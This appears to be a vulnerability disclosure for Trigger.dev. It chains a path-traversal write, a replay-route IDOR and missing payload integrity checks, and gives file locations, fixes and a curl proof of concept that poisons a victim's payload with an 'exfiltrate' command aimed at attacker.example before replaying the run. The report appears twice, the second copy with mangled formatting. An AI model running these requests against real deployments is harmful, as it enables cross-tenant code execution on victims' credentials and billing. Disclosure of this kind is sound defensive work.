TL;DR
Using a packet path-traversal write vulnerability, along with a with replay IDOR, an attacker overwrites a victim run's offloaded payload in S3, then calls replay on that run. The replay reads the poisoned packet, deserialises it, and triggers a new run in the victim's env with attacker-controlled input. The victim's task code runs against attacker data with the victim's env vars and credentials, on the victim's billing.
Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
1. Packet path-traversal write (CWE-22, Critical)
Aws4FetchClient.presign (apps/webapp/app/v3/objectStoreClient.server.ts:60-69) assigns url.pathname = "/" + key before signing, the WHATWG parser collapses .., and the wildcard route param has no validation. A PUT to /api/v1/packets/..%2F..%2F<projectRef>%2F<envSlug>%2F<runFriendlyId>%2Fpayload.json returns a presigned URL signed for the victim's payload key. The cross-tenant packet read/write is reported separately and goes into more depth on the root cause
2. Replay route looks up runs by friendlyId without env scope (CWE-639, High)
apps/webapp/app/routes/api.v1.runs.$runParam.replay.ts:35 does prisma.taskRun.findUnique({ where: { friendlyId: runParam } }) with no runtimeEnvironmentId filter. Sibling routes (reschedule, tags, result, attempts, events) all scope by env. ReplayTaskRunService at apps/webapp/app/v3/services/replayTaskRun.server.ts:26-28 then resolves the env from the run row itself and fires TriggerTaskService into that env, so any API key can replay any run anywhere. This bug also has standalone impact even without the packet write: an attacker can re-trigger any victim run by friendlyId, consuming concurrency and re-firing whatever side effects the original run had
3. Replay reuses the existing run's offloaded payload by storage path with no integrity check (CWE-345, Medium)
For payloadType: "application/store", overrideExistingPayloadPacket calls conditionallyImportPacket (apps/webapp/app/v3/services/replayTaskRun.server.ts:52, packages/core/src/v3/utils/ioSerialization.ts:258-289), which fetches whatever is at the URL stored in existingTaskRun.payload and feeds the response body in as parsedPayload. There's no content hash, no signed manifest, no proof the bytes match what was uploaded. Whatever sits at the storage path becomes the new run's input
Exploit chain / PoC
Storage filename format is deterministic (apps/webapp/app/runEngine/concerns/payloads.server.ts:32 and apps/webapp/app/v3/objectStore.server.ts:137):
packets/<projectRef>/<envSlug>/<runFriendlyId>/payload.json
Preconditions: attacker has any Trigger.dev API key (free signup), the victim's payload was offloaded (>128KB by default, common for AI / LLM tasks and batches), and attacker knows the victim's runFriendlyId, projectRef, and envSlug. Those leak together in webhook payloads, alert emails, OTEL endpoint configs, CLI deploy logs, support tickets, and screenshots; envSlug is usually "prod" / "staging" / "dev".
# 1. PUT-poison the victim's payload packet via path traversal
TOKEN=tr_<attacker_private_key>
KEY="..%2F..%2Fproj_victim%2Fprod%2Frun_<victim_friendlyId>%2Fpayload.json"
PUT_URL=$(curl -s -X PUT "https://api.trigger.dev/api/v1/packets/$KEY" \
-H "Authorization: Bearer $TOKEN" | jq -r .presignedUrl)
curl -X PUT "$PUT_URL" -H "Content-Type: application/json" \
--data-binary '{"command":"exfiltrate","target":"https://attacker.example/in"}'
# 2. Replay the victim's run (IDOR, friendlyId only)
curl -X POST "https://api.trigger.dev/api/v1/runs/run_<victim_friendlyId>/replay" \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{}'
# 200 OK; { "id": "run_<new_run_in_victim_env>" }
The new run executes the victim's task code on the attacker's payload, inside the victim's env, with the victim's env vars and outbound credentials. Whatever the task does (call OpenAI, charge Stripe, send email, write to victim's DB) it now does with attacker-chosen input. Charges land on the victim.
Note on cloud.trigger.dev
The packet-write primitive (vuln 1) is shielded on the cloud by an upstream AWS ALB filter that blocks .. traversal patterns; the same shield is documented in the cross-tenant packet read/write report. Self-hosters have no equivalent shield, and best practice for protecting them isn't documented. The replay IDOR (vuln 2) is unshielded everywhere - re-triggering victim runs works on cloud and self-host today, even without the write primitive.
Fix
Fixing any one of these breaks the chain. All three should be fixed.
- Vuln 1: see the path-traversal fix in the cross-tenant packet read/write report.
- Vuln 2: scope the replay lookup by
runtimeEnvironmentId, matching the sibling reschedule / tags / result / attempts / events routes.
- Vuln 3: when re-importing an
application/store packet during replay, verify a content hash recorded at upload time, or re-sign the original payload from a tamper-evident source rather than re-reading the storage path.
TL;DR
Using a packet path-traversal write vulnerability, along with a with replay IDOR, an attacker overwrites a victim run's offloaded payload in S3, then calls replay on that run. The replay reads the poisoned packet, deserialises it, and triggers a new run in the victim's env with attacker-controlled input. The victim's task code runs against attacker data with the victim's env vars and credentials, on the victim's billing.
Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
1. Packet path-traversal write (CWE-22, Critical)
Aws4FetchClient.presign(apps/webapp/app/v3/objectStoreClient.server.ts:60-69) assignsurl.pathname = "/" + keybefore signing, the WHATWG parser collapses.., and the wildcard route param has no validation. A PUT to/api/v1/packets/..%2F..%2F<projectRef>%2F<envSlug>%2F<runFriendlyId>%2Fpayload.jsonreturns a presigned URL signed for the victim's payload key. The cross-tenant packet read/write is reported separately and goes into more depth on the root cause2. Replay route looks up runs by friendlyId without env scope (CWE-639, High)
apps/webapp/app/routes/api.v1.runs.$runParam.replay.ts:35doesprisma.taskRun.findUnique({ where: { friendlyId: runParam } })with noruntimeEnvironmentIdfilter. Sibling routes (reschedule, tags, result, attempts, events) all scope by env.ReplayTaskRunServiceatapps/webapp/app/v3/services/replayTaskRun.server.ts:26-28then resolves the env from the run row itself and firesTriggerTaskServiceinto that env, so any API key can replay any run anywhere. This bug also has standalone impact even without the packet write: an attacker can re-trigger any victim run by friendlyId, consuming concurrency and re-firing whatever side effects the original run had3. Replay reuses the existing run's offloaded payload by storage path with no integrity check (CWE-345, Medium)
For
payloadType: "application/store",overrideExistingPayloadPacketcallsconditionallyImportPacket(apps/webapp/app/v3/services/replayTaskRun.server.ts:52,packages/core/src/v3/utils/ioSerialization.ts:258-289), which fetches whatever is at the URL stored inexistingTaskRun.payloadand feeds the response body in asparsedPayload. There's no content hash, no signed manifest, no proof the bytes match what was uploaded. Whatever sits at the storage path becomes the new run's inputExploit chain / PoC
Storage filename format is deterministic (
apps/webapp/app/runEngine/concerns/payloads.server.ts:32andapps/webapp/app/v3/objectStore.server.ts:137):Preconditions: attacker has any Trigger.dev API key (free signup), the victim's payload was offloaded (>128KB by default, common for AI / LLM tasks and batches), and attacker knows the victim's runFriendlyId, projectRef, and envSlug. Those leak together in webhook payloads, alert emails, OTEL endpoint configs, CLI deploy logs, support tickets, and screenshots; envSlug is usually "prod" / "staging" / "dev".
The new run executes the victim's task code on the attacker's payload, inside the victim's env, with the victim's env vars and outbound credentials. Whatever the task does (call OpenAI, charge Stripe, send email, write to victim's DB) it now does with attacker-chosen input. Charges land on the victim.
Note on cloud.trigger.dev
The packet-write primitive (vuln 1) is shielded on the cloud by an upstream AWS ALB filter that blocks
..traversal patterns; the same shield is documented in the cross-tenant packet read/write report. Self-hosters have no equivalent shield, and best practice for protecting them isn't documented. The replay IDOR (vuln 2) is unshielded everywhere - re-triggering victim runs works on cloud and self-host today, even without the write primitive.Fix
Fixing any one of these breaks the chain. All three should be fixed.
runtimeEnvironmentId, matching the sibling reschedule / tags / result / attempts / events routes.application/storepacket during replay, verify a content hash recorded at upload time, or re-sign the original payload from a tamper-evident source rather than re-reading the storage path.